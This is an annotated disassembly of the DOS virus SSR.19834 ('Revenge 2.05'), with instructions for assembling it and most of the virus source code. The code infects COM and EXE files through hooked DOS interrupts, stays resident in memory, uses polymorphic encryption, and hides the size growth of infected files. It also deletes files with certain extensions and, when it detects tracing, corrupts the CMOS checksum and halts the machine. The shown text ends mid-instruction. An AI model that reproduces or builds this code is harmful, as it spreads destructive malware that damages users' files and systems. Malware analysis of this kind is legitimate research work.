; ; Ŀ ; SSR.19834 ; or Revenge 2.05 ; Disassembled by ; Tcp/29A ; ; ; This is one of the biggest known viruses and probably the most encrypted ; one: four different polymorphic decryption bucles. Only these bucles waste ; more than 7k of code. About the virus itself, it has many interesting fea- ; tures, it was coded in a pretty uncommon way tho... there's code not used, ; it's not optimized, and has a lot of messages, apparently (i can't unders- ; tand russian :) messing with some AVers. This virus seems to be an attempt ; to laugh about the deficiencies of some antiviruses (and exploit them) ra- ; ther than writing a virus itself. By the end of the viral code, appear 921 ; bytes i didn't include in the disassembly as they have nothing to do with ; the virus, albeit they will be added to every infected file. I guess these ; bytes being copied are due to the fact that SSR left enough room for its 3 ; engines and eventually forgot to readjust the size. The binary file inclu- ; ded in the \FILES directory is infected with an original copy of the virus ; and not with what you can get from the assembly of this file (because this ; source does not include the last 921 bytes of trash code). ; ; The code is commented enough so there's nothing else to say... if anybody ; wants to read something more about the functioning of this virus, i recom- ; mend to have a look to what AVPVE says about previous versions of this vi- ; rus (there are some errors in the description tho). ; ; ; Other data ; ; Virus : Revenge 2.05 (aka SSR.19834) ; Size : 19834 (11645 code+engines; 5000+1500+768 decryptors; 921 shit) ; Author : Stainless Steel Rat ; Origin : Russia ; Disasm by : Tcp/29A ; ; Send any question or comment to tcp@cryogen.com. ; ; ; Compiling it ; ; Engines: ; tasm /m res.asm ; tasm /m ssrme.asm ; tasm /m mme.asm ; ; Virus: ; tasm /m ssr.asm ; tlink ssr res ssrme mme ; exe2bin ssr ssr.com ; ; - -[SSR.ASM]- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 SSR segment assume cs:SSR, ds:SSR, es:SSR, ss:SSR org 0 RES_DEC = 768 SSRME_DEC = 5000 MME_DEC = 1500 DECRYPTORS = RES_DEC + SSRME_DEC + MME_DEC SHIT_AT_END = 921 SSR_SIZE = ((virus_end-virus_start+15)/16)*16 RES_SIZE = ((911+15)/16)*16 SSRME_SIZE = ((1507+15)/16)*16 MME_SIZE = 1133 VIRUS_SIZE = SSR_SIZE+RES_SIZE+SSRME_SIZE+MME_SIZE+DECRYPTORS+SHIT_AT_END VIRUSCODE_SIZE = VIRUS_SIZE - DECRYPTORS host: jmp virus_start ; Infected host org 100h ; Virus starts here virus_start: call next_instruction next_instruction: pop si jmp get_delta nop db 'Hi Hacker! Welcome to Hell',0 ; Hi SSR! ;) get_delta: sub si,offset(next_instruction) push ds pop es push ds push es mov cx,VIRUSCODE_SIZE-(decrypted_code-virus_start) nop mov di,offset(decrypted_code) add di,si push es xor ax,ax mov es,ax ; ES:=0 mov ax,es:[1h*4] mov cs:[si+ofs_int1],ax ; Read & save int1 mov ax,es:[1h*4+2] mov cs:[si+seg_int1],ax mov ax,offset(int1_decryptor) add ax,si mov es:[1h*4],ax ; Set new int1 mov es:[1h*4+2],cs pushf pop ax shr ah,1 shl ah,1 ; AH:=xxx0 inc ah ; AH:=xxx1 (trace flag on) push ax mov al,cs:[si+starting_dec_selector] mov cs:[si+dec_selector],al mov al,cs:[si+i1_mask] popf ; Trace flag on loop $ ; Decrypt code via int1 nop pop es jmp decrypted_code int1_decryptor: push ax push cx cmp cx,0 ; All code decrypted? jz restore_i1 ; Yes? then jmp nop nop nop call select_dec_inst mov cl,al mov cs:[si+encrypt_decrypt],90h decrypt_instruction: xor cs:[di],al ; Select instruction from table encrypt_decrypt db 90h ; NOP for decryption ; RET for encryption inc di pop cx pop ax iret restore_i1: add sp,4 mov ax,cs:[si+ofs_int1] ; Restore original int1 mov es:[1h*4],ax mov ax,cs:[si+seg_int1] mov es:[1h*4+2],ax retf 2 i1_mask db 0 starting_dec_selector db 0 ofs_int1 dw 0 seg_int1 dw 0 select_dec_inst: push cx push ax push si push di mov bx,si mov bp,offset(decryption_instructions) mov di,offset(decrypt_instruction) add di,si add si,bp mov al,cs:[bx+dec_selector] ror al,1 mov cs:[bx+dec_selector],al and al,3 mov cl,3 mul cl add si,ax ; Select instruction call copy_instruction pop di pop si pop ax pop cx ret copy_instruction: push ds push es push cs push cs pop ds pop es cld mov cx,3 rep movsb pop es pop ds ret dec_selector db 0 decryption_instructions: sub cs:[di],al add cs:[di],al xor cs:[di],al rol byte ptr cs:[di],cl decrypted_code: cmp cs:[si+host_type],1 ; Exe file? je host_exe ; Yes? then jmp nop nop nop mov di,offset(header) add di,si push si mov si,100h xchg di,si mov cx,e_header_exe-header_exe rep movsb ; Restore host (COM) pop si host_exe: push es xor ax,ax mov es,ax ; ES:=0 cmp es:[198h],0DEADh ; Resident? pop es jne install_virus ; No? then jmp nop nop nop jmp restore_exec_host install_virus: xor ax,ax mov es,ax ; ES:=0 mov ax,es:[30h*4+3] ; Get int 21h segment (CP/M) mov [si+realseg_i2f],ax ; Store for tunneling int 2Fh mov ax,es:[1h*4] ; Offset int 1 mov cs:[si+ofs_i1],ax ; Store it mov ax,es:[1h*4+2] ; Segment int 1 mov cs:[si+seg_i1],ax ; Store it mov ax,es:[2Fh*4] ; Offset int 2Fh mov cs:[si+ofs_i2f],ax ; Store it mov ax,es:[2Fh*4+2] ; Segment int 2Fh mov cs:[si+seg_i2f],ax ; Store it mov es:[1h*4],offset(int_1) ; Tunneler add es:[1h*4],si mov es:[1h*4+2],cs pushf pop ax ; AX:=flags and ah,0FEh inc ah ; Trace flag on push ax popf jmp start_tunneling nop db 'Move over, I said move over',0 db 'Hey, hey, hey, clear the way',0 db 'There''s no escape from my authority - I tell you -',0 start_tunneling: mov ax,0ABCDh push ds push es push si pushf ; Simulated int 2Fh db 9Ah ; call far ofs_i2f dw 0 seg_i2f dw 0 pushf pop ax ; AX:=flags and ah,0FEh ; Trace flag off push ax popf ; Stop tunneling pop si pop es pop ds mov ax,cs:[si+ofs_i1] mov es:[1h*4],ax ; Restore original int 1 mov ax,cs:[si+seg_i1] mov es:[1h*4+2],ax xor bx,bx mov dx,bx mov ax,1300h push ds push es push si call int_2f ; Get real int13h in DS:DX pop si mov cs:[si+ofs_i13],dx ; Store it mov cs:[si+seg_i13],ds mov ax,1300h push si call int_2f ; Restore address from previous call pop si pop es pop ds jmp make_resident nop ofs_i1 dw 0 seg_i1 dw 0 int_1: pushf push si call getdelta_i1 getdelta_i1: pop si sub si,offset(getdelta_i1) ; Get delta-offset push ax push bp push bx pushf pop bx ; Flags mov bp,sp mov ax,cs:[si+realseg_i2f] cmp [bp+0Ch],ax ; Original int 2Fh segment? jne no_real_i2f ; No? then jmp nop nop nop mov ax,[bp+0Ah] ; Get int 2fh offset mov cs:[si+realofs_i2f],ax ; Store it mov [bp+0Eh],bx ; Flags no_real_i2f: pop bx pop bp pop ax pop si popf iret int_2f: pushf db 9Ah ; call far realofs_i2f dw 0 realseg_i2f dw 0 ret make_resident: mov ax,ds dec ax mov es,ax ; ES->MCB mov dh,es:[0] ; Get 'M' or 'Z' mov byte ptr es:[0],'M' ; Mark current block as 'middle' mov bx,VIRUSCODE_SIZE+100h nop mov cl,4 shr bx,cl ; div 16 inc bx inc bx add bx,40000/16 ; Space for encryption buffers sub es:[3],bx dec word ptr es:[3] ; Build a new MCB add ax,es:[3] inc ax mov es,ax mov es:[0],dh ; Put 'M' or 'Z' mov word ptr es:[8],0 ; Block owner name inc ax mov es:[1],ax ; Paragraph of owner mov es:[3],bx ; Chain next MCB add ax,1 mov es,ax push si xor di,di mov cx,VIRUSCODE_SIZE nop l_copy_code: mov ah,cs:[si+100h] ; Copy code to new MCB mov es:[di],ah inc si inc di loop l_copy_code pop si push ds push es pop ds xor ax,ax mov es,ax ; ES:=0 mov bx,es:[21h*4] ; Get int 21h mov es,es:[21h*4+2] mov seg_i21-100h,es ; Store it mov ofs_i21-100h,bx mov seg_i21_2-100h,es mov ofs_i21_2-100h,bx mov ax,es:[bx] ; Read 2 bytes from int 21h entry mov _2bytes_21h-100h,ax ; Store bytes mov es:[bx],0ACCDh ; Change bytes to 'int 0ACh' pop es push si push cx xor si,si mov cx,int_24-virus_start nop in al,40h ; Get random number l_crypt_memcode: push cx mov mem_mask-100h,al ; Store mask mov cl,al add [si],cl ; Encrypt code in memory ror byte ptr [si],cl xor [si],cl inc si pop cx loop l_crypt_memcode pop cx pop si xor ax,ax mov es,ax ; ES:=0 cli mov es:[0ABh*4],offset(int_ab)-100h ; Set new int 0ABh mov es:[0ABh*4+2],ds mov es:[0ACh*4],offset(int_ac)-100h ; Set new int 0ACh mov es:[0ACh*4+2],ds mov es:[1Ch*4],offset(int_1c)-100h ; Set new int 1Ch mov es:[1Ch*4+2],ds mov es:[6h*4],offset(int_6)-100h ; Set new int 6 mov es:[6h*4+2],ds sti mov _signature-100h,dx ;?? mov returnAX_fffn-100h,dx ;?? jmp restore_exec_host int_ab: pushf push ax push bx push cx push dx push bp push si push di push ds push es push ax mov ax,':)' ; Check if anyone is tracing push ax cli inc sp inc sp nop dec sp dec sp sti pop ax cmp ax,':)' ; Being traced? je no_tracing ; No? then jmp nop nop nop mov al,2Eh out 70h,al ; CMOS: Select address 2Eh (checksum) out 71h,al ; CMOS: Write 2Eh (corrupt checksum) cli hlt ; Halt computer no_tracing: pop ax push es push ax xor ax,ax mov es,ax ; ES:=0 mov es:[198h],0DEADh ; Residency mark mov ax,cs:infection_count-100h mov es:[88h*4],ax ; ?? pop ax pop es cmp ax,4B00h ; Exec? je try_to_infect ; Yes? then jmp nop nop nop cmp ah,3Dh ; Open? je try_to_infect ; Yes? then jmp nop nop nop cmp ah,4Eh ; Find-first (handle)? jne cmp_fn ; No? then jmp nop nop nop jmp ff_fn cmp_fn: cmp ah,4Fh ; Find-Next (handle)? je jmp_fffn ; Yes? then jmp jmp popregs_iret jmp_fffn: jmp ff_fn try_to_infect: mov di,dx call convert2uppercase ; Convert filename to uppercase search_extension: mov ah,[di] cmp ah,0 ; End of string? jne search_dot ; No? then jmp jmp popregs_iret ; Yes? then jmp (no dot) search_dot: cmp ah,'.' ; Dot? je found_dot ; Yes? then jmp nop nop nop inc di ; Next char jmp search_extension found_dot: inc di cmp word ptr [di],'OC' ; *.CO*? jne check_if_exe ; No? then jmp nop nop nop cmp byte ptr [di+2],'M' ; *.COM? je jmp_jmp_infect ; Yes? then jmp jmp popregs_iret jmp_jmp_infect: jmp jmp_infect nop check_if_exe: cmp word ptr [di],'XE' ; *.EX*? je maybe_exe ; Yes? then jmp jmp popregs_iret maybe_exe: cmp byte ptr [di+2],'E' ; *.EXE? je jmp_infect ; Yes? then jmp jmp popregs_iret jmp_infect: jmp infect nop db 'Gimme the prize, just gimme the prize',0 infect: push es push ds push dx mov cx,cs sub cx,10h mov ds,cx mov ax,3524h call int_21 ; Get int 24h mov ofs_i24,bx ; Save it mov seg_i24,es mov dx,offset(int_24) mov ah,25h call int_21 ; Set new int 24h pop dx pop ds pop es push ds push dx mov ax,4300h call int_21 ; Get file attributes jnc reset_attr nop nop nop pop dx pop ds jmp restore_i24 reset_attr: mov cs:attributes-100h,cx mov ax,4301h xor cx,cx call int_21 ; Reset attributes jnc check_name nop nop nop pop dx pop ds jmp restore_i24 check_name: call check_valid_fname push es xor ax,ax mov es,ax ; ES:=0 mov ax,es:[2Ah*4] ; Get int 2Ah mov cs:ofs_i2a-100h,ax mov ax,es:[2Ah*4+2] mov cs:seg_i2a-100h,ax mov es:[2Ah*4],offset(int_2a)-100h ; Set new int 2Ah mov es:[2Ah*4+2],cs mov di,dx l_search_ext: cmp byte ptr [di],'.' ; Dot? je found_ext ; Yes? then jmp nop nop nop inc di jmp l_search_ext found_ext: mov al,[di+1] ; Get first char of extension mov cs:byte_ext-100h,al ; Save it mov cs:ofs_byte_ext-100h,di ; and save its address mov cs:seg_byte_ext-100h,ds ; BUG!!! Missing 'mov [di+1],xx' mov ax,3D02h push es call int_21 ; Open file I/O pop es jnc open_ok nop nop nop call restore_i2a pop es jmp restore_attr open_ok: push ax call restore_i2a pop ax pop es jmp read_header nop int_2a: ; Int 2Ah: Called by int 21h cmp ah,82h ; End DOS critical sections 0-7 ? jne exit_i2a ; No? then jmp nop nop nop push es push di push ax mov di,cs:seg_byte_ext-100h ; Restore file extension mov es,di mov di,cs:ofs_byte_ext-100h mov al,cs:byte_ext-100h mov es:[di+1],al pop ax pop di pop es exit_i2a: iret ofs_byte_ext dw 0 seg_byte_ext dw 0 byte_ext db 0 ofs_i2a dw 0 seg_i2a dw 0 restore_i2a: mov ax,cs:ofs_i2a-100h ; Restore int 2Ah mov es:[2Ah*4],ax mov ax,cs:seg_i2a-100h mov es:[2Ah*4+2],ax ret read_header: mov cx,cs sub cx,10h mov ds,cx ; DS:=CS-10h mov bx,ax mov ah,3Fh mov cx,e_header_exe-header_exe mov dx,offset(header) call int_21 ; Read file header jnc get_timedate jmp close_file get_timedate: mov ax,5700h call int_21 ; Get file time/date jnc timedate_ok jmp close_file timedate_ok: push cx mov ax,dx ; File date mov cl,5 shr ax,cl and ax,0Fh ; Get month mov dx,ax pop ax ; File time and ax,1Fh ; Get seconds cmp ax,dx ; Infected? (seconds==month) jne check_header ; No? then jmp jmp close_file check_header: mov file_month,dx ; Save file month cmp _signature,'ZM' ; Exe mark? jne cmp_mark2 ; No? then jmp jmp is_exe ; Yes? then jmp cmp_mark2: cmp _signature,'MZ' ; Exe mark? jne is_com ; No? then jmp jmp is_exe ; Yes? then jmp is_com: mov host_type,0 ; COM file call check4pklite_com ; PKLited file? jc no_pk_com ; No? then jmp nop nop nop mov dx,190h mov ah,3Fh call lseekDX_functionAX ; Lseek 190h & read a byte add encrypted_byte,53h ; Encrypt it mov dx,190h mov ah,40h call lseekDX_functionAX ; Lseek 190h & write the byte mov pklite_com,1 ; It's a pklited file mov dx,1 add dx,inc_ofs_patch1 ; offset 2 for Pklite 1.50+ ; offset 1 for other versions xor cx,cx mov ax,4200h call int_21 jnc patch_pklite_com jmp close_file patch_pklite_com: mov dx,offset(_FFFF) mov cx,2 mov ah,40h call int_21 ; Patch file with a 0FFFFh to give ; control to the out-of-memory routine jnc patch_pklite_com2 jmp close_file patch_pklite_com2: mov dx,ofs_patchcom2 ; Offset of 2nd patch xor cx,cx jmp mark_encrypted no_pk_com: mov pklite_com,0 ; It isn't a pklited file cmp byte ptr header,0E9h ; Start with a JMP? jne cmp_call ; No? then jmp nop nop nop mov ax,word ptr header+1 ; Offset of jump add ax,3 ; Destiny of jump mov jmp_dest,ax ; This will be the entry point mov word ptr header,0EBAh mov encrypted_byte?,0FFh mov dx,190h mov ah,3Fh call lseekDX_functionAX ; Lseek 190h and read a byte add encrypted_byte,53h ; Encrypt it mov dx,190h mov ah,40h call lseekDX_functionAX ; Lseek 190h and save the byte jmp mark_no_pkcom2 nop cmp_call: cmp byte ptr header,0E8h ; CALL? jne encrypt190 ; No? then jmp nop nop nop mov ax,word ptr header+1 ; Offset of call add ax,3 ; Destiny of call mov jmp_dest,ax ; This will be the entry point mov word ptr header,0EBAh mov encrypted_byte?,0 jmp mark_no_pkcom2 nop encrypt190: mov dx,190h mov ah,3Fh call lseekDX_functionAX ; Lseek 190h and read a byte add encrypted_byte,53h ; Encrypt it mov dx,190h mov ah,40h call lseekDX_functionAX ; Lseek 190h and write the byte jmp mark_no_pkcom nop lseekDX_functionAX: push ax mov ax,4200h xor cx,cx call int_21 ; Lseek start+DX pop ax mov dx,offset(encrypted_byte) mov cx,1 call int_21 ; Perform AX function ret mark_no_pkcom: xor dx,dx xor cx,cx mov pklite_com,0 mark_encrypted: mov jmp_dest,0 mov encrypted_byte?,0FFh jmp check_com_size nop mark_no_pkcom2: mov pklite_com,0 xor cx,cx xor dx,dx check_com_size: push cx push dx mov ax,4202h xor cx,cx xor dx,dx call int_21 ; Lseek end pop dx pop cx cmp ax,27434 ; Big file? jb cmp_little ; No? then jmp jmp close_file cmp_little: cmp ax,400 ; Little file? ja size_ok ; No? then jmp jmp close_file size_ok: mov cs:ofs_vircode-100h,ax ; Calc runtime offset add cs:ofs_vircode-100h,100h cmp pklite_com,1 ; Pklited file? jne calc_ofs_jmp ; No? then jmp nop nop nop sub ax,3 ; Calculate jmp to virus in pklite code sub ax,ofs_patchcom2 jmp store_jmp_virus nop calc_ofs_jmp: sub ax,3 ; Jmp to virus in non-pklited file store_jmp_virus: mov jmp_vir_h,ah mov jmp_vir_l,al mov ax,4200h call int_21 ; Lseek to offset to patch jnc write_jmp jmp close_file write_jmp: mov ah,40h mov dx,offset(jmp_com) mov cx,3 call int_21 ; Write jmp jnc jmp_append_code jmp close_file jmp_append_code: jmp append_code nop db 'Save me,save me',0 append_code: mov ax,4202h xor cx,cx xor dx,dx call int_21 ; Lseek end mov cx,VIRUSCODE_SIZE nop mov ax,0BA00h ; Encryption buffer mov es,ax push ds push cs pop ds xor si,si xor di,di rep movsb ; Copy code to encryption buffer pop ds in al,40h ; Get random number mov es:starting_dec_selector-100h,al mov enc_selector,al mov cx,VIRUSCODE_SIZE-(decrypted_code-virus_start) nop in al,40h ; Get random number mov es:i1_mask-100h,al mov di,offset(decrypted_code) sub di,100h xor dx,dx l_enc_i1: call encrypt_i1 push cx mov cl,al enc_inst: nop nop nop pop cx inc di loop l_enc_i1 jmp crypt_code_and_save db 0 db 'Give me your WEBs, let me squeeze them in my hands,',0 db 'Your puny scaners,',0 db 'Your so-called heuristics analyzers,',0 db 'I''ll eat them whole before I''m done,',0 db 'The battle''s fought and the game is won,',0 db 'I am the one the only one,',0 db 'I am the god of kingdom come,',0 crypt_code_and_save: push ds push es pop ds push bx mov bx,cs:ofs_vircode-100h push bx add bx,MME_DEC+SSRME_DEC mov ax,VIRUSCODE_SIZE mov cl,4 ; Prepare buffer shr ax,cl inc ax mov dx,cs add ax,dx mov es,ax mov cx,VIRUSCODE_SIZE nop xor dx,dx push es push ds call res_engine ; Call engine pop es xor di,di xor si,si push cx cld rep movsb pop cx push es pop ds pop es pop bx push bx add bx,MME_DEC push es push ds call ssrme_engine ; Call engine pop es xor di,di xor si,si push cx cld rep movsb pop cx push es pop ds pop es pop bx call mme_engine ; Call engine pop bx push ds mov ah,40h call int_21 ; Write virus body to disk pop es pop ds jnc check_pkexe_snd jmp close_file check_pkexe_snd: cmp pklite_exe,1 ; PKLited EXE file? jne check_pkcom_snd ; No? then jmp jmp set_infection_mark check_pkcom_snd: cmp pklite_com,1 ; PKLited COM file? jne check_tlink_snd ; No? then jmp jmp set_infection_mark check_tlink_snd: cmp byte ptr word_ofs1C,1 ; Linked with Borland TLINK? jne check_lzexe_snd ; No? then jmp jmp set_infection_mark check_lzexe_snd: cmp word_ofs1C,'ZL' ; LZEXE file? jne jmp_SND ; No? then jmp jmp set_infection_mark jmp_SND: jmp SND nop db 'Seek aNd Destroy Technology [SND]',0 SND: xor cx,cx xor dx,dx mov ax,4200h call int_21 ; Lseek start push ds mov ax,0BA00h mov ds,ax ; DS:=0BA00h mov ah,3Fh xor dx,dx mov cx,16*1024 call int_21 ; Read 16KB from file push ax mov cx,ax ; CX:=number of bytes read xor di,di l_next_SND: cmp byte ptr [di],0B8h ; MOV AX,xxxx? je cmp_movax_int21h ; Yes? then jmp nop nop nop cmp byte ptr [di],0B4h ; MOV AH,xx? jne next_SND ; No? then jmp nop nop nop cmp word ptr [di+2],21CDh ; INT 21h? jne next_SND nop nop ; Found MOV AH,xx + INT 21h nop mov al,[di+1] ; Get xx in MOV AH,xx mov byte ptr [di],0F0h ; Int 6h when executed push ax call get_random and ax,7 ; AX in [0..7] mov bp,ax mov al,byte ptr cs:[bp+SND_table-100h] mov [di+1],al ; Gen instruction call get_random mov [di+2],al mov dl,al pop ax xor al,dl ; Encrypt original byte mov [di+3],al ; and store it add di,4 jmp next_SND nop cmp_movax_int21h: cmp word ptr [di+3],21CDh ; INT 21h? jne next_SND nop nop nop mov ax,[di+1] ; xxxx in MOV AX,xxxx mov byte ptr [di],0F0h ; Int 6h when executed push ax call get_random and ax,7 ; AX in [0..7] mov bp,ax mov al,byte ptr cs:[bp+SND_table-100h] inc al ; AL -> AX mov [di+1],al ; Generate opcode call get_random mov [di+2],al ; Random number mov dl,al mov dh,al pop ax xor ax,dx ; Encrypt original word mov [di+3],ax ; and store it add di,5 next_SND: inc di loop l_next_SND xor dx,dx xor cx,cx mov ax,4200h ; Lseek start call int_21 pop ax xor dx,dx mov cx,ax mov ah,40h call int_21 ; Write code pop ds jmp set_infection_mark nop get_random: pushf in al,40h ; Get random number xor al,cs:[bx] ror al,cl add al,53h popf ret SND_table: db 3Ch ; cmp al,xx (+1 = cmp ax,xxxx) db 24h ; and al,xx (+1 = and ax,xxxx) db 14h ; adc al,xx (+1 = adx ax,xxxx) db 0Ch ; or al,xx (+1 = or ax,xxxx) db 34h ; xor al,xx (+1 = xor ax,xxxx) db 1Ch ; sbb al,xx (+1 = sbb ax,xxxx) db 2Ch ; sub al,xx (+1 = sub ax,xxxx) db 04h ; add al,xx (+1 = add ax,xxxx) set_infection_mark: mov ax,5700h call int_21 ; Get file date/time mov ax,cx ; file time mov cl,5 shr ax,cl shl ax,cl ; Clear seconds field add ax,file_month ; Set infection mark (seconds=month) mov cx,ax mov ax,5701h call int_21 ; Set file date/time jc close_file nop nop nop mov pklite_exe,0 mov pklite_com,0 jmp close_infected nop db '- THERE CAN BE ONLY ONE -',0 close_infected: mov ah,3Eh call int_21 ; Close file inc infection_count jmp restore_attr nop close_file: mov ah,3Eh call int_21 ; Close file restore_attr: mov cx,attributes pop dx pop ds mov ax,4301h call int_21 ; Restore attributes restore_i24: push ds mov ax,2524h mov dx,cs:ofs_i24-100h mov bx,cs:seg_i24-100h mov ds,bx call int_21 ; Restore int 24h pop ds mov pklite_exe,0 mov pklite_com,0 push ds push cs pop ax dec ax dec ax push ax pop ds inc word ptr ds:[8] ; Inc number of files processed cmp word ptr ds:[8],50 ; 50 files? pop ds je check_activation ; Yes? then jmp jmp popregs_iret check_activation: cmp cs:tick_counter-100h,900*18 ; >=900 seconds? (>15 mins.) jae activation jmp popregs_iret activation: mov ax,cs sub ax,10h mov ds,ax ; DS:=CS-10h call print_REVENGE jmp popregs_iret is_exe: mov host_type,1 ; EXE file call check4pklite_exe ; Pklited file? jc no_pk_exe ; No? then jmp nop nop nop jmp pk_exe nop db 'I''M GOING SLIGHTLY MAD' pk_exe: mov pklite_exe,1 ; It's a pklited exe jmp process_exe nop no_pk_exe: mov pklite_exe,0 ; It isn't a pklited exe process_exe: mov cl,4 mov dx,_hdrsize shl dx,cl ; *16 (Header size in bytes) add dx,512 mov ah,3Fh push dx call lseekDX_functionAX ; Read a byte add encrypted_byte,7Eh ; Encrypt it pop dx mov ah,40h call lseekDX_functionAX ; Write byte jmp store_header nop db 'Don''t lose your header',0 store_header: push si push di push es mov si,offset(header) mov di,offset(header_exe) mov cx,e_header_exe-header_exe cld push ds pop es rep movsb ; Store header pop es pop di pop si mov ax,4202h xor cx,cx xor dx,dx call int_21 ; Lseek end jnc check_size_exe jmp close_file check_size_exe: cmp dx,0 ; > 64k? jnz check_big_exe ; Yes? then jmp nop nop nop cmp ax,4000 ; >= 4000 bytes? jae check_big_exe ; Yes? then jmp jmp close_file ; No? then jmp (too small) check_big_exe: cmp dx,9 ; > 9*64k ? jb fix_header ; No? then jmp jmp close_file ; Yes? then jmp (too big) fix_header: mov size_exe_l,ax ; Store file size mov size_exe_h,dx clc add ax,VIRUS_SIZE nop adc dx,0 mov cx,512 div cx ; Calculate number of pages mov pagecnt,ax inc pagecnt ; Not always!!! mov partpag,dx ; Length of partial page at end mov ax,size_exe_l ; Get original size mov dx,size_exe_h mov cx,16 div cx ; Calculate virus segment and IP mov exeip,dx ; Virus IP sub ax,hdrsize mov relocs,ax ; Virus segment mov reloss,ax ; Stack segment mov exesp,0FFFEh ; SP push ax mov ax,exeip mov ofs_vircode,ax ; Virus runtime offset pop ax xor dx,dx xor cx,cx mov ax,4200h call int_21 ; Lseek start jnc patch_pk_header? jmp close_file patch_pk_header?: cmp pklite_exe,1 ; Pklited exe? jne write_header_exe ; No? then jmp nop nop nop mov ax,exeip mov pk_exe_ip,ax mov ax,relocs add ax,10h ; Add PSP mov pk_exe_cs,ax mov ax,_exeip ; Header points to Pklite code mov exeip,ax mov ax,_relocs mov relocs,ax write_header_exe: mov dx,offset(header_exe) mov cx,e_header_exe-header_exe mov ah,40h call int_21 ; Write new header jnc wrote_header_exe jmp close_file wrote_header_exe: cmp pklite_exe,1 ; Pklited exe? je patch_pkexe ; Yes? then jmp jmp append_code patch_pkexe: mov ax,4200h mov dx,ofs_segcode add dx,29h xor cx,cx call int_21 mov ah,40h ; Lseek to code segment+29h mov cx,e_pkexe_patch-pkexe_patch nop mov dx,offset(pkexe_patch) call int_21 ; Write patch jnc patch2_pkexe jmp close_file patch2_pkexe: mov ax,4200h mov dx,ofs_segcode add dx,0Dh xor cx,cx call int_21 ; Lseek to code segment+0Dh mov ah,40h mov cx,1 mov dx,offset(jmp_xx_pkexe) call int_21 ; Write jmp (force jmp to patched code) jnc jmp2_append_code jmp close_file jmp2_append_code: jmp append_code jmp_xx_pkexe db 0EBh ; jmp xx pkexe_patch: mov ax,es add cs:[135h],ax jmp $+2 db 0EAh ; jmp far to virus start pk_exe_ip dw 0 pk_exe_cs dw 0 e_pkexe_patch: size_exe_l dw 0 size_exe_h dw 0 pklite_exe db 0 ; 0 = Exe-file not compressed with Pklite ; 1 = Exe-file compressed with Pklite header_exe: signature dw 0 partpag dw 0 pagecnt dw 0 relocnt dw 0 hdrsize dw 0 minmem dw 0 maxmem dw 0 reloss dw 0 exesp dw 0 chksum dw 0 exeip dw 0 relocs dw 0 tabloff dw 0 overlay dw 0 dw 0 dw 0 e_header_exe: db 'Just very slightly mad !',0 ff_fn: call int_21 jnc found_fffn jmp exit_fffn_preserve_AX found_fffn: mov ah,2Fh call int_21 ; Get DTA address in ES:BX mov cl,es:[bx+15h] ; Get attributes and cl,10h cmp cl,10h ; Subdirectory? jne no_directory ; No? then jmp jmp exit_fffn no_directory: mov cx,es:[bx+16h] ; Get file time mov dx,es:[bx+18h] ; Get file date push cx mov ax,dx ; AX:=file date mov cl,5 shr ax,cl and ax,0Fh ; AX:=month mov dx,ax pop ax ; AX:=file time and ax,1Fh ; AX:=seconds cmp ax,dx ; seconds=month? Infected? jne check_table_ext ; No? then jmp nop nop nop cmp word ptr es:[bx+1Ch],0 ; >64KB? jne restore_size ; Yes? then jmp nop nop nop cmp es:[bx+1Ah],VIRUS_SIZE ; >=virus size jae restore_size ; Yes? then jmp jmp exit_fffn restore_size: mov ax,es:[bx+1Ah] cmp ax,VIRUS_SIZE ; sub es:[bx+1Ah],VIRUS_SIZE ; sbb es:[bx+1Ch],0 ?? ;) nop jb cross_64k nop nop nop jmp no_cross_64k nop cross_64k: dec word ptr es:[bx+1Ch] no_cross_64k: sub es:[bx+1Ah],VIRUS_SIZE jmp check_table_ext nop db 'I''m the invisible man',0 check_table_ext: mov bp,offset(table_ext) sub bp,100h mov di,bx add di,1Eh ; Point to filename mov si,di next_char_fname: mov ah,es:[di] cmp ah,0 ; End of filename? jnz cmp_dot ; No? then jmp nop nop nop jmp exit_fffn cmp_dot: cmp ah,'.' ; Extension? je found_extension ; Yes? then jmp nop nop nop inc di jmp next_char_fname found_extension: inc di ; Point to extension l_next_extension: mov ax,cs:[bp] cmp ax,es:[di] ; Extension in table? je cmp_last_ext ; Maybe? then jmp nop nop nop cmp al,0FFh ; End of table? je exit_fffn ; Yes? then jmp nop nop nop add bp,3 ; Next jmp l_next_extension cmp_last_ext: mov ah,es:[di+2] cmp ah,cs:[bp+2] ; Extension in table? je jmp_kill_file ; Yes? then jmp nop nop nop add bp,3 jmp l_next_extension jmp_kill_file: jmp kill_file nop db 'Now you DiE !',0 kill_file: push es xor ax,ax mov es,ax ; ES:=0 mov ax,es:[24h*4] ; Read & store int 24h mov cs:ofs_i24-100h,ax mov ax,es:[24h*4+2] mov cs:seg_i24-100h,ax mov es:[24h*4],offset(int_24)-100h ; Set new int 24h mov es:[24h*4+2],cs pop es push es push si pop dx pop ds mov ah,41h call int_21 ; Delete file push es xor ax,ax mov es,ax ; ES:=0 mov ax,cs:ofs_i24-100h ; Restore int 24h mov es:[24h*4],ax mov ax,cs:seg_i24-100h mov es:[24h*4+2],ax pop es push si pop di cld mov ax,0A898h ; Return 'shit !',0 in russian stosw mov ax,20E2h stosw mov ax,'!' ; '!',0 stosw jmp exit_fffn ; Stupid jmp!!! nop exit_fffn: pop es pop ds pop di pop si pop bp pop dx pop cx pop bx pop ax popf clc add sp,6 jmp exit_21h exit_fffn_preserve_AX: mov cs:returnAX_fffn-100h,ax ; Preserve AX pop es pop ds pop di pop si pop bp pop dx pop cx pop bx pop ax pop ax mov ax,cs:returnAX_fffn-100h ; Return AX add sp,6 stc jmp exit_21h popregs_iret: pop es pop ds pop di pop si pop bp pop dx pop cx pop bx pop ax popf iret ofs_i24 dw 0 seg_i24 dw 0 restore_exec_host: pop es pop ds cmp cs:[si+host_type],1 ; EXE? je restore_exe ; Yes? then jmp nop ; It's COM nop nop cmp cs:[si+encrypted_byte?],0FFh ; Byte encrypted? je decrypt_byte190 ; Yes? then jmp nop nop nop mov ax,103h ; Initial call return address ; If not encrypted it starts with 'call' push ax jmp restore_com nop decrypt_byte190: mov al,cs:[si+encrypted_byte] sub al,53h ; Decrypt byte mov cs:[190h+100h],al ; Restore code in memory restore_com: mov ax,cs:[si+jmp_dest] add ax,100h ; Host entry point push ax push si add si,100h ; Remove virus from memory mov cx,offset(delmem_here)-100h call remove_from_memory delmem_here: pop si add si,offset(restore_exe) mov cx,virus_end-restore_exe call remove_from_memory ret ; Return to host remove_from_memory: push cx l_del_mem: mov byte ptr cs:[si],'#' ; Remove copy virus from memory inc si loop l_del_mem pop cx ret db 'All dead...',0 restore_exe: sub byte ptr ds:[512+100h],7Eh ; Decrypt byte cmp 